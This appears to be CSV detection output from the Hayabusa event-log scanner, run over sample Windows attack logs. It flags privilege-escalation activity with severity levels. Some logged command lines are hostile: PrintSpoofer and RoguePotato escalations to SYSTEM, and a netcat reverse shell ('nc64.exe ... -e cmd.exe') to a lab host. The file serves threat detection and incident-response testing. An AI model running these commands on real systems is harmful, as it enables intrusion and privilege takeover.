Schedule,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.642 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.643 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.645 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:26.652 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.196 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.198 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.473 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.484 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.583 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.764 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.836 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.838 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.855 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:27.970 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.014 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k utcsvc -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.063 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNoNetwork -p -s DPS : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.065 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.068 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s SstpSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.079 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\wlms\wlms.exe : Path: C:\Windows\System32\wlms\wlms.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.080 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,Rule: PrivEsc - Potential Unquoted Service Exploit : Command: c:\Program Files\vulnsvc\mmm.exe : Path: C:\program.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.086 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.096 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:28.465 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalService -p -s WdiServiceHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.050 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: sihost.exe : Path: C:\Windows\System32\sihost.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.058 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc : Path: C:\Windows\System32\svchost.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.097 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService : Path: C:\Windows\System32\svchost.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:32.358 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:35.125 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: MSEDGEWIN10\IEUser : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:35.236 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:37.209 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: rundll32.exe AppXDeploymentExtensions.OneCore.dll,ShellRefresh : Path: C:\Windows\System32\rundll32.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:40.692 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:19:40.712 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe"" /InvokerPRAID: Microsoft.MicrosoftOfficeHub notifications : Path: C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.2002.1101.0_x64__8wekyb3d8bbwe\LocalBridge.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\System32\RuntimeBroker.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:11.341 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:11.402 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6964 318 0000021FF2606500 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:11.516 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\eventvwr.exe"" : Path: C:\Windows\System32\eventvwr.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:16.073 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Discovery - domain time : Command: ""C:\BGinfo\BGINFO.EXE"" /accepteula /ic:\bginfo\bgconfig.bgi /timer:0 : Path: C:\BGinfo\BGINFO.EXE : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:16.165 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\SecurityHealthService.exe : Path: C:\Windows\System32\SecurityHealthService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:16.965 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\19.232.1124.0012\FileCoAuth.exe -Embedding : Path: C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\19.232.1124.0012\FileCoAuth.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:18.975 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe"" /background : Path: C:\Users\IEUser\AppData\Local\Microsoft\OneDrive\OneDrive.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:21.251 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\regedit.exe"" : Path: C:\Windows\regedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:21.263 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: consent.exe 6964 258 0000021FF266EC20 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:20:26.261 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\regedit.exe"" : Path: C:\Windows\regedit.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:08.564 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:18.412 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:19.340 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k NetworkService -p -s WinRM : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-04-26 07:21:19.629 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_unquoted_svc_sysmon_1_11.evtx +2020-05-03 03:01:54.855 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: PrintSpoofer.exe -i -c powershell.exe : Path: C:\Users\IEUser\Tools\PrivEsc\PrintSpoofer.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.863 +09:00,MSEDGEWIN10,17,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.864 +09:00,MSEDGEWIN10,18,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.867 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: powershell.exe : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: NT AUTHORITY\SYSTEM : Parent Command: PrintSpoofer.exe -i -c powershell.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:54.867 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: powershell.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-03 03:01:57.418 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_seimpersonate_tosys_spoolsv_sysmon_17_18.evtx +2020-05-07 22:13:02.481 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\ChangePk.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/UACME_61_Changepk.evtx +2020-05-10 09:09:36.635 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: NetworkServiceExploit.exe -i -c ""c:\Windows\System32\cmd.exe"" : Path: C:\Users\IEUser\Tools\PrivEsc\NetworkServiceExploit.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:36.709 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: NetworkServiceExploit.exe -i -c ""c:\Windows\System32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: c:\Windows\System32\cmd.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:09:43.372 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-10 09:11:16.714 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_Imperson_NetSvc_to_Sys_Decoder_Sysmon_1_17_18.evtx +2020-05-12 08:21:56.493 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: RoguePotato.exe -r 10.0.2.11 -e ""c:\Users\IEUser\tools\misc\nc64.exe 10.0.2.11 3001 -e cmd.exe"" -l 9999 : Path: C:\Users\IEUser\Tools\PrivEsc\RoguePotato.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ""cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx +2020-05-12 08:21:56.519 +09:00,MSEDGEWIN10,17,critical,EfsPotato Named Pipe,,rules/sigma/pipe_created/sysmon_efspotato_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_roguepotato_sysmon_17_18.evtx 